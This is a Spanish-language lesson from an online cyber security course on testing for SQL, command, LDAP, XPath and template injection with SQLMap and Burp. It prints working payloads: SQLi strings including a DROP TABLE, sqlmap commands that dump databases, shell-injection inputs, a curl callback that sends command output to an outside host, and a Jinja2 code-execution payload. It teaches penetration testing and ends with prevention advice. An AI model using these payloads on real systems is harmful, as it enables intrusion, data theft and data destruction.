0Pricing
Cyber Security Academy · Lección

Pruebas de vulnerabilidades de inyección

Utilice SQLMap, payloads manuales y Burp para comprobar inyecciones SQL, de comandos y LDAP.

Pruebas de vulnerabilidades de inyección es una lección gratuita de Cyber Security Academy en CoddyKit. Esta es la lección 2 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Cyber Security Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Cyber Security Academy incluye 4 lecciones en total.

Clases de vulnerabilidades de inyección

La inyección ocurre cuando se envían datos no confiables a un intérprete como parte de un comando o una consulta. El intérprete no puede distinguir los datos de los comandos y ejecuta lógica controlada por el atacante. La inyección SQL, de comandos, LDAP, XPath y de plantillas pertenecen a esta clase.

Inyección SQL: pruebas manuales

Comience con payloads sencillos para detectar una posible inyección SQL. Una comilla simple provoca un error de sintaxis SQL en las aplicaciones vulnerables. Compruebe los mensajes de error, las diferencias en la longitud de las respuestas y el tiempo de respuesta.

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLMap para automatizar la inyección SQL

SQLMap automatiza la detección y explotación de la inyección SQL: detecta puntos de inyección, identifica el DBMS y puede volcar bases de datos, leer archivos y lograr la ejecución de código del sistema operativo en sistemas vulnerables.

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

Pruebas de inyección de comandos

La inyección de comandos ocurre cuando la entrada del usuario se pasa a funciones del shell del sistema operativo. Pruebe con metacaracteres del shell: punto y coma, tuberías, comillas invertidas y sustitución de comandos mediante $().

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

Inyección LDAP

La inyección LDAP manipula las consultas LDAP utilizadas para la autenticación y las búsquedas en directorios. Pruebe los campos de autenticación con: *)(uid=*))(|(uid=* para omitir los filtros.

Inyección XPath

La inyección XPath ataca sistemas de autenticación basados en XML. Es similar a la inyección SQL: los payloads manipulan las consultas XPath; por ejemplo, ' or '1'='1 permite omitir la autenticación.

Inyección de plantillas (SSTI)

La inyección de plantillas del lado del servidor ocurre cuando la entrada del usuario se procesa en un motor de plantillas (Jinja2, Twig, Freemarker). Para detectarla, inyecte {{7*7}}; si la respuesta muestra 49, existe SSTI.

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Uso de Burp para probar inyecciones

Envíe las solicitudes a Repeater e inyecte manualmente payloads en cada parámetro. Use Intruder para automatizar el fuzzing con listas de palabras para inyecciones (SecLists contiene excelentes payloads de inyección).

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

Detección de inyecciones ciegas

Cuando no hay una salida visible, use retrasos temporales para confirmar la ejecución, callbacks DNS fuera de banda (Burp Collaborator o interactsh) y respuestas basadas en booleanos (cambios en la longitud del contenido).

Interpretación de los mensajes de error de la aplicación

Los errores detallados revelan el tipo de base de datos, la estructura de las consultas y las rutas de los archivos, lo que resulta invaluable para crear payloads precisos. Pruebe siempre entradas que activen la depuración o revelen errores, además de los payloads normales.

Referencia de prevención

La inyección se previene mediante consultas parametrizadas (inyección SQL), validación de entradas y escape del shell (inyección de comandos), y evitando procesar la entrada del usuario en plantillas (SSTI). Los desarrolladores deben comprender estas medidas para escribir código seguro.

Comprobación rápida

¿Qué confirma el payload de detección de SSTI {{7*7}} cuando la respuesta muestra 49?

Resumen: pruebas de inyección

Las vulnerabilidades de inyección se deben a la mezcla de datos y comandos. Pruebe cada entrada controlada por el usuario con payloads de inyección SQL, de comandos, de plantillas y LDAP. Use SQLMap para automatizar la inyección SQL, Burp Repeater para las pruebas manuales y técnicas de retraso temporal o fuera de banda para la explotación ciega. Documente siempre los payloads y las evidencias en el informe.

Preguntas frecuentes

¿La lección «Pruebas de vulnerabilidades de inyección» es gratis?

Sí — el texto completo de «Pruebas de vulnerabilidades de inyección» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Cyber Security Academy, actualiza a CoddyKit PRO. El curso de Cyber Security Academy incluye 4 lecciones en total.

¿Qué aprenderé en «Pruebas de vulnerabilidades de inyección»?

Utilice SQLMap, payloads manuales y Burp para comprobar inyecciones SQL, de comandos y LDAP. Practicas Cyber Security Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.

¿Necesito experiencia previa para empezar Cyber Security Academy?

No se requiere experiencia previa. Cyber Security Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 2 de 4.

¿Cuánto tiempo toma la lección «Pruebas de vulnerabilidades de inyección»?

La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.

¿Puedo escribir y ejecutar código en esta lección de Cyber Security Academy?

Sí. Cada lección de Cyber Security Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.

Todas las lecciones de este curso

  1. Proxy de Burp Suite e interceptación de solicitudes
  2. Pruebas de vulnerabilidades de inyección
  3. Pruebas de autenticación y sesiones
  4. Vulnerabilidades de carga de archivos y SSRF
← Volver a Cyber Security Academy